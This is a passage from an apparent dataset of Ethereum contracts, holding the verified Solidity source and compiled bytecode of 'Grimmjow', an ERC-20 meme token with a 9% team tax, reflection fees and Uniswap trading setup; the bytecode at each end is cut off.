fffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e0850216bbda444729771a3a669eef93da27df32ef8ce17ad7d0f09167c0b8b464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,052
0xBFA7bc64108B061E88521817CB49a1a15f4258d4
//SPDX-License-Identifier: MIT // Telegram: t.me/GrimmjowToken pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Grimmjow is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**6; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; string private constant _name = "Grimmjow"; string private constant _symbol = "GRIMMJOW"; uint8 private constant _decimals = 6; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!_canTrade,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswap = _uniswapV2Router; _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612231565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611df4565b6103c2565b6040516101579190612216565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b6040516101829190612393565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611da1565b6103ee565b6040516101bf9190612216565b60405180910390f35b3480156101d457600080fd5b506101dd6104c7565b6040516101ea9190612408565b60405180910390f35b3480156101ff57600080fd5b506102086104d0565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d07565b61054a565b60405161023e9190612393565b60405180910390f35b34801561025357600080fd5b5061025c61059b565b005b34801561026a57600080fd5b506102736106ee565b6040516102809190612148565b60405180910390f35b34801561029557600080fd5b5061029e610717565b6040516102ab9190612231565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e61565b610754565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611df4565b6107cc565b6040516103119190612216565b60405180910390f35b34801561032657600080fd5b5061032f6107ea565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d61565b610cf7565b6040516103659190612393565b60405180910390f35b34801561037a57600080fd5b50610383610d7e565b005b60606040518060400160405280600881526020017f4772696d6d6a6f77000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610df0565b8484610df8565b6001905092915050565b6000655af3107a4000905090565b60006103fb848484610fc3565b6104bc84610407610df0565b6104b7856040518060600160405280602881526020016129e360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046d610df0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b9092919063ffffffff16565b610df8565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610511610df0565b73ffffffffffffffffffffffffffffffffffffffff161461053157600080fd5b600061053c3061054a565b90506105478161128f565b50565b6000610594600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611517565b9050919050565b6105a3610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610627906122f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4752494d4d4a4f57000000000000000000000000000000000000000000000000815250905090565b61075c610df0565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b557600080fd5b600981106107c257600080fd5b8060088190555050565b60006107e06107d9610df0565b8484610fc3565b6001905092915050565b6107f2610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906122f3565b60405180910390fd5b600b60149054906101000a900460ff16156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690612373565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061095c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a4000610df8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611d34565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611d34565b6040518363ffffffff1660e01b8152600401610a91929190612163565b602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611d34565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b6c3061054a565b600080610b776106ee565b426040518863ffffffff1660e01b8152600401610b99969594939291906121b5565b6060604051808303818588803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610beb9190611e8e565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca192919061218c565b602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf39190611e34565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbf610df0565b73ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b6000479050610ded81611585565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90612353565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612293565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb69190612393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612253565b60405180910390fd5b600081116110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90612313565b60405180910390fd5b6110ee6106ee565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561115c575061112c6106ee565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121b57600061116c3061054a565b9050600b60159054906101000a900460ff161580156111d95750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f15750600b60169054906101000a900460ff165b15611219576111ff8161128f565b600047905060008111156112175761121647611585565b5b505b505b6112268383836115f1565b505050565b6000838311158290611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a9190612231565b60405180910390fd5b50600083856112829190612559565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112c7576112c66126b4565b5b6040519080825280602002602001820160405280156112f55781602001602082028036833780820191505090505b509050308160008151811061130d5761130c612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113af57600080fd5b505afa1580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190611d34565b816001815181106113fb576113fa612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df8565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114c69594939291906123ae565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b600060055482111561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612273565b60405180910390fd5b6000611568611601565b905061157d818461162c90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115ed573d6000803e3d6000fd5b5050565b6115fc838383611676565b505050565b600080600061160e611841565b91509150611625818361162c90919063ffffffff16565b9250505090565b600061166e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061189a565b905092915050565b600080600080600080611688876118fd565b9550955095509550955095506116e686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c781611a0d565b6117d18483611aca565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182e9190612393565b60405180910390a3505050505050505050565b600080600060055490506000655af3107a40009050611871655af3107a400060055461162c90919063ffffffff16565b82101561188d57600554655af3107a4000935093505050611896565b81819350935050505b9091565b600080831182906118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d89190612231565b60405180910390fd5b50600083856118f091906124ce565b9050809150509392505050565b600080600080600080600080600061191a8a600754600854611b04565b925092509250600061192a611601565b9050600080600061193d8e878787611b9a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b905092915050565b60008082846119be9190612478565b905083811015611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa906122b3565b60405180910390fd5b8091505092915050565b6000611a17611601565b90506000611a2e8284611c2390919063ffffffff16565b9050611a8281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611adf8260055461196590919063ffffffff16565b600581905550611afa816006546119af90919063ffffffff16565b6006819055505050565b600080600080611b306064611b22888a611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b5a6064611b4c888b611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b8382611b75858c61196590919063ffffffff16565b61196590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bb38589611c2390919063ffffffff16565b90506000611bca8689611c2390919063ffffffff16565b90506000611be18789611c2390919063ffffffff16565b90506000611c0a82611bfc858761196590919063ffffffff16565b61196590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c365760009050611c98565b60008284611c4491906124ff565b9050828482611c5391906124ce565b14611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a906122d3565b60405180910390fd5b809150505b92915050565b600081359050611cad8161299d565b92915050565b600081519050611cc28161299d565b92915050565b600081519050611cd7816129b4565b92915050565b600081359050611cec816129cb565b92915050565b600081519050611d01816129cb565b92915050565b600060208284031215611d1d57611d1c6126e3565b5b6000611d2b84828501611c9e565b91505092915050565b600060208284031215611d4a57611d496126e3565b5b6000611d5884828501611cb3565b91505092915050565b60008060408385031215611d7857611d776126e3565b5b6000611d8685828601611c9e565b9250506020611d9785828601611c9e565b9150509250929050565b600080600060608486031215611dba57611db96126e3565b5b6000611dc886828701611c9e565b9350506020611dd986828701611c9e565b9250506040611dea86828701611cdd565b9150509250925092565b60008060408385031215611e0b57611e0a6126e3565b5b6000611e1985828601611c9e565b9250506020611e2a85828601611cdd565b9150509250929050565b600060208284031215611e4a57611e496126e3565b5b6000611e5884828501611cc8565b91505092915050565b600060208284031215611e7757611e766126e3565b5b6000611e8584828501611cdd565b91505092915050565b600080600060608486031215611ea757611ea66126e3565b5b6000611eb586828701611cf2565b9350506020611ec686828701611cf2565b9250506040611ed786828701611cf2565b9150509250925092565b6000611eed8383611ef9565b60208301905092915050565b611f028161258d565b82525050565b611f118161258d565b82525050565b6000611f2282612433565b611f2c8185612456565b9350611f3783612423565b8060005b83811015611f68578151611f4f8882611ee1565b9750611f5a83612449565b925050600181019050611f3b565b5085935050505092915050565b611f7e8161259f565b82525050565b611f8d816125e2565b82525050565b6000611f9e8261243e565b611fa88185612467565b9350611fb88185602086016125f4565b611fc1816126e8565b840191505092915050565b6000611fd9602383612467565b9150611fe4826126f9565b604082019050919050565b6000611ffc602a83612467565b915061200782612748565b604082019050919050565b600061201f602283612467565b915061202a82612797565b604082019050919050565b6000612042601b83612467565b915061204d826127e6565b602082019050919050565b6000612065602183612467565b91506120708261280f565b604082019050919050565b6000612088602083612467565b91506120938261285e565b602082019050919050565b60006120ab602983612467565b91506120b682612887565b604082019050919050565b60006120ce602583612467565b91506120d9826128d6565b604082019050919050565b60006120f1602483612467565b91506120fc82612925565b604082019050919050565b6000612114601783612467565b915061211f82612974565b602082019050919050565b612133816125cb565b82525050565b612142816125d5565b82525050565b600060208201905061215d6000830184611f08565b92915050565b60006040820190506121786000830185611f08565b6121856020830184611f08565b9392505050565b60006040820190506121a16000830185611f08565b6121ae602083018461212a565b9392505050565b600060c0820190506121ca6000830189611f08565b6121d7602083018861212a565b6121e46040830187611f84565b6121f16060830186611f84565b6121fe6080830185611f08565b61220b60a083018461212a565b979650505050505050565b600060208201905061222b6000830184611f75565b92915050565b6000602082019050818103600083015261224b8184611f93565b905092915050565b6000602082019050818103600083015261226c81611fcc565b9050919050565b6000602082019050818103600083015261228c81611fef565b9050919050565b600060208201905081810360008301526122ac81612012565b9050919050565b600060208201905081810360008301526122cc81612035565b9050919050565b600060208201905081810360008301526122ec81612058565b9050919050565b6000602082019050818103600083015261230c8161207b565b9050919050565b6000602082019050818103600083015261232c8161209e565b9050919050565b6000602082019050818103600083015261234c816120c1565b9050919050565b6000602082019050818103600083015261236c816120e4565b9050919050565b6000602082019050818103600083015261238c81612107565b9050919050565b60006020820190506123a8600083018461212a565b92915050565b600060a0820190506123c3600083018861212a565b6123d06020830187611f84565b81810360408301526123e28186611f17565b90506123f16060830185611f08565b6123fe608083018461212a565b9695505050505050565b600060208201905061241d6000830184612139565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612483826125cb565b915061248e836125cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124c3576124c2612627565b5b828201905092915050565b60006124d9826125cb565b91506124e4836125cb565b9250826124f4576124f3612656565b5b828204905092915050565b600061250a826125cb565b9150612515836125cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561254e5761254d612627565b5b828202905092915050565b6000612564826125cb565b915061256f836125cb565b92508282101561258257612581612627565b5b828203905092915050565b6000612598826125ab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125ed826125cb565b9050919050565b60005b838110156126125780820151818401526020810190506125f7565b83811115612621576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e2